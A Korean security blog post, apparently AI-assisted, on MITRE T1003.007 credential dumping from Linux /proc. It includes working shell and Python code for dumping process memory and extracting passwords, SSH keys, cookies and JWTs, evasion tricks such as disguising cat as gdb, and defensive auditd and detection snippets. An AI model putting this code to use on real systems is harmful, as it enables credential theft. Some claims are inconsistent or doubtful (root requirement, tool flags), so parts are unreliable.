(Proc Filesystem): Linux 메모리에서 자격증명을 탈취하는 다수의 APT 그룹의 선택 | T1003.007
Linux /proc 파일시스템은 프로세스 메모리를 파일처럼 읽을 수 있게 한다. 루트 권한 없이도 자격증명을 탈취할 수 있는 구조적 이유.
Linux /proc 파일시스템은 프로세스 메모리를 파일처럼 읽을 수 있게 한다. 루트 권한 없이도 자격증명을 탈취할 수 있는 구조적 이유.
Linux 시스템에서 실행 중인 프로세스는 평균 수십 개에서 수백 개에 이른다. 각 프로세스는 메모리에 자격증명을 평문으로 저장하는 경우가 많은데, 공격자들은 이를 노리고 있다. T1003.007은 Linux의 /proc 파일시스템을 통해 프로세스 메모리에서 비밀번호와 해시를 추출하는 공격 기법이다. 다수의 APT 그룹이 사용하는 자격증명 덤핑 기법 중 하나이다.
전통적으로 공격자들이 Linux 시스템에서 자격증명을 얻으려면 /etc/passwd와 /etc/shadow 파일에 접근해야 했다. 하지만 현대 Linux 시스템에서는 이러한 파일들이 강력하게 보호되고, 비밀번호도 솔트와 함께 해시화되어 크래킹에 시간이 오래 걸린다.
반면 실행 중인 프로세스들은 다른 이야기이다. 웹 브라우저는 로그인한 세션 쿠키를, SSH 클라이언트는 연결 중인 서버의 인증 정보를, 데이터베이스 클라이언트는 접속 비밀번호를 메모리에 평문으로 보관한다. 이런 "살아있는" 자격증명은 해시 크래킹 없이 즉시 사용할 수 있어 공격자에게 매력적인 타겟이 되었다.
Linux의 /proc 파일시스템은 이런 프로세스 메모리에 접근할 수 있는 표준화된 인터페이스를 제공한다. 공격자가 root 권한만 획득하면, 시스템의 모든 프로세스 메모리를 검색해 자격증명을 수집할 수 있게 된 것이다.
T1003.007은 Linux의 /proc 파일시스템을 통해 실행 중인 프로세스의 메모리에서 자격증명을 추출하는 공격 기법이다.
The /proc filesystem (procfs) is a special filesystem in Unix-like operating systems that presents information about processes and other system information in a hierarchical file-like structure, providing a more convenient and standardized method for dynamically accessing process-related internal data structures held in the kernel than more traditional tracing methods or direct access to kernel memory. — Linux Kernel Documentation
위 정의를 풀어보면, /proc는 실제 디스크에 저장된 파일이 아니라 커널이 실시간으로 생성하는 가상 파일시스템이다. 각 프로세스마다 /proc/PID/ 디렉토리가 생성되고, 여기서 해당 프로세스의 메모리와 상태 정보에 접근할 수 있다.
/proc/PID/maps): 프로세스의 가상 메모리 레이아웃 정보/proc/PID/mem): 프로세스의 실제 메모리 내용/proc/PID/environ): 프로세스 실행 시 설정된 환경 변수| 용어 | 설명 |
|---|---|
/proc/PID/maps | 역할: 메모리 레이아웃 표시 / 접근 방식: 읽기 전용, 텍스트 형태 / 권한 요구사항: CAP_SYS_PTRACE 또는 CAP_PERFMON |
/proc/PID/mem | 역할: 실제 메모리 내용 / 접근 방식: 읽기-쓰기, 바이너리 / 권한 요구사항: CAP_SYS_PTRACE (더 높은 권한) |
/proc/PID/environ | 역할: 환경 변수 / 접근 방식: 읽기 전용, NULL 구분 문자열 / 권한 요구사항: CAP_SYS_PTRACE 또는 CAP_PERFMON |
ptrace() 시스템 콜 | 역할: 전통적 디버깅 방식 / 접근 방식: 시스템 콜 기반 / 권한 요구사항: CAP_SYS_PTRACE |
공격자는 먼저 타겟 프로세스의 메모리 구조를 파악해야 한다. /proc/PID/maps 파일을 읽으면 다음과 같은 정보를 얻을 수 있다:
# /proc/1234/maps 예시 출력
7f8b4c000000-7f8b4c021000 r-xp 00000000 08:01 1234567 /usr/bin/ssh
7f8b4c021000-7f8b4c022000 r--p 00021000 08:01 1234567 /usr/bin/ssh
7f8b4c022000-7f8b4c023000 rw-p 00022000 08:01 1234567 /usr/bin/ssh
7f8b4c023000-7f8b4c045000 rw-p 00000000 00:00 0 [heap]
7fff12345000-7fff12366000 rw-p 00000000 00:00 0 [stack]
각 라인은 메모리 영역을 나타내며, 형식은 다음과 같다:
7f8b4c000000-7f8b4c021000r-xp (읽기-실행-개인)0000000008:011234567/usr/bin/ssh공격자는 읽기 가능한 메모리 영역만 필터링한다:
# 읽기 가능한 메모리 영역만 추출
grep -E "^[0-9a-f-]* r" /proc/1234/maps | cut -d' ' -f 1
메모리 맵을 분석한 후, /proc/PID/mem 파일에서 실제 메모리 내용을 읽어온다. 이때 dd 명령어나 직접 파일 읽기를 사용한다:
# 특정 메모리 영역 덤프
start_addr="0x7f8b4c023000"
end_addr="0x7f8b4c045000"
size=$((end_addr - start_addr))
# dd를 사용한 메모리 덤프
dd if=/proc/1234/mem bs=1 skip=$((start_addr)) count=$size 2>/dev/null
덤프된 메모리에서 자격증명을 찾기 위해 정규식과 패턴 매칭을 사용한다:
import re
import struct
def extract_credentials(memory_dump):
patterns = {
'password': rb'password[=:]\s*([^\x00\s]{4,})',
'ssh_key': rb'-----BEGIN.*PRIVATE KEY-----',
'hash': rb'[a-fA-F0-9]{32,}', # MD5, SHA 해시
'base64': rb'[A-Za-z0-9+/]{20,}={0,2}' # Base64 인코딩
}
credentials = {}
for name, pattern in patterns.items():
matches = re.findall(pattern, memory_dump)
if matches:
credentials[name] = matches
return credentials
공격자들은 자격증명을 저장하는 것으로 알려진 특정 프로세스를 우선적으로 공격한다:
# 특정 프로세스 타겟팅
target_processes=("ssh" "firefox" "chrome" "mysql" "postgres")
for process in "${target_processes[@]}"; do
pids=$(pgrep "$process")
for pid in $pids; do
echo "Dumping memory for $process (PID: $pid)"
# 메모리 덤프 실행
done
done
실제 공격에서는 MimiPenguin 같은 자동화 도구가 사용된다:
# MimiPenguin 실행 예시
./mimipenguin.sh
# 특정 프로세스만 타겟팅
./mimipenguin.sh --process firefox
# 결과를 파일로 저장
./mimipenguin.sh --output /tmp/credentials.txt
이 도구는 다음과 같은 방식으로 동작한다:
공격자 입장에서 보면. 이는 비밀번호 파일을 크래킹할 필요 없이 "살아있는" 자격증명을 즉시 획득할 수 있는 효율적인 방법이다. 특히 웹 브라우저나 SSH 세션처럼 사용자가 이미 인증한 상태의 프로세스에서는 평문 비밀번호나 세션 토큰을 쉽게 찾을 수 있다.
공격자가 T1003.007 기법을 선택하는 이유는 명확한다. 전통적인 비밀번호 크래킹은 시간이 오래 걸리고 성공률이 낮지만, 프로세스 메모리에서는 이미 복호화된 자격증명을 바로 얻을 수 있기 때문이다.
특히 다음과 같은 상황에서 이 기법이 매력적이다:
1단계: 권한 획득과 프로세스 열거
공격자가 시스템에 접근한 후 root 권한을 획득하면, 먼저 실행 중인 프로세스를 조사한다:
# 자격증명을 포함할 가능성이 높은 프로세스 찾기
ps aux | grep -E "(ssh|mysql|postgres|firefox|chrome|aws|kubectl)"
# /proc 디렉토리에서 활성 프로세스 확인
ls /proc/*/exe 2>/dev/null | grep -E "(ssh|browser|database)"
2단계: 메모리 패턴 검색
공격자는 특정 애플리케이션의 메모리 구조를 이해하고 있다. 예를 들어 SSH 클라이언트의 경우:
# SSH 프로세스 메모리에서 개인키 검색
pid=$(pgrep ssh)
if [ -n "$pid" ]; then
# 개인키 패턴 검색
strings /proc/$pid/mem | grep -A 20 "BEGIN.*PRIVATE KEY"
# 비밀번호 패턴 검색
strings /proc/$pid/mem | grep -i "password\|passphrase"
fi
3단계: 브라우저 세션 탈취
웹 브라우저는 특히 풍부한 자격증명 소스이다:
import re
import os
def extract_browser_credentials(pid):
"""브라우저 메모리에서 세션 쿠키와 비밀번호 추출"""
mem_file = f"/proc/{pid}/mem"
maps_file = f"/proc/{pid}/maps"
# 메모리 맵 읽기
with open(maps_file, 'r') as f:
maps = f.read()
# 힙 영역 찾기 (쿠키가 저장되는 곳)
heap_regions = re.findall(r'([0-9a-f]+)-([0-9a-f]+).*\[heap\]', maps)
credentials = []
for start, end in heap_regions:
start_addr = int(start, 16)
end_addr = int(end, 16)
size = end_addr - start_addr
try:
with open(mem_file, 'rb') as mem:
mem.seek(start_addr)
data = mem.read(size)
# 세션 쿠키 패턴 검색
cookies = re.findall(rb'sessionid=([a-zA-Z0-9]{20,})', data)
# JWT 토큰 검색
tokens = re.findall(rb'eyJ[A-Za-z0-9+/=]{100,}', data)
credentials.extend(cookies)
credentials.extend(tokens)
except PermissionError:
continue
return credentials
공격자들은 탐지를 피하기 위해 다음과 같은 방법을 사용한다:
메모리 접근 패턴 분산
# 한 번에 대량 접근하지 않고 시간차를 두어 접근
for pid in $(ps -eo pid --no-headers); do
sleep 0.1 # 0.1초 지연
if [ -r "/proc/$pid/mem" ]; then
# 소량씩 메모리 읽기
head -c 1024 /proc/$pid/mem > /dev/null 2>&1
fi
done
정상 도구 위장
# gdb 같은 정상적인 디버깅 도구로 위장
cp /usr/bin/cat /tmp/gdb
/tmp/gdb /proc/1234/mem | strings | grep -i password
1. 프로세스 메모리 접근 모니터링
# auditd를 사용한 /proc 접근 로깅
auditctl -w /proc -p r -k proc_access
# 특정 민감한 파일 모니터링
auditctl -w /proc/*/mem -p r -k memory_dump
auditctl -w /proc/*/maps -p r -k memory_maps
2. 권한 제한
# CAP_SYS_PTRACE 권한이 있는 프로세스 확인
getcap /usr/bin/* 2>/dev/null | grep sys_ptrace
# 불필요한 권한 제거
setcap -r /usr/bin/suspicious_binary
3. 메모리 보호 강화
// 애플리케이션 레벨에서 민감한 데이터 보호
#include <sys/mman.h>
void secure_memory(void *ptr, size_t size) {
// 메모리를 스왑되지 않도록 고정
mlock(ptr, size);
// 사용 후 안전하게 삭제
memset(ptr, 0, size);
munlock(ptr, size);
}
4. 런타임 탐지
import psutil
import time
def detect_memory_dump():
"""비정상적인 /proc 접근 패턴 탐지"""
proc_access_count = {}
while True:
for proc in psutil.process_iter(['pid', 'name', 'open_files']):
try:
files = proc.info['open_files'] or []
proc_files = [f.path for f in files if '/proc/' in f.path and '/mem' in f.path]
if len(proc_files) > 5: # 임계값 초과
print(f"[ALERT] {proc.info['name']} (PID: {proc.info['pid']}) accessing multiple /proc/*/mem files")
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
time.sleep(1)
T1003.007 기법은 Linux 시스템의 /proc 파일시스템을 악용해 실행 중인 프로세스 메모리에서 자격증명을 추출하는 공격 방법이다. 전통적인 비밀번호 크래킹과 달리 이미 복호화된 "살아있는" 자격증명을 즉시 획득할 수 있어 공격자들이 선호하는 기법 중 하나이다.
이 공격을 방어하려면 프로세스 메모리 접근에 대한 모니터링과 애플리케이션 레벨의 메모리 보호가 중요하다. 또한 자격증명 덤핑 비교: MITRE T1003 3가지 기법 완전 분석에서 다룬 다른 자격증명 탈취 기법들과 함께 종합적인 방어 전략을 수립해야 한다.
다음에는 Windows 환경에서 사용되는 LSASS Memory 덤핑 공격이나 SAM 파일 크래킹 같은 다른 자격증명 덤핑 기법들을 알아보면 운영체제별 공격 패턴을 더 깊이 이해할 수 있을 것이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.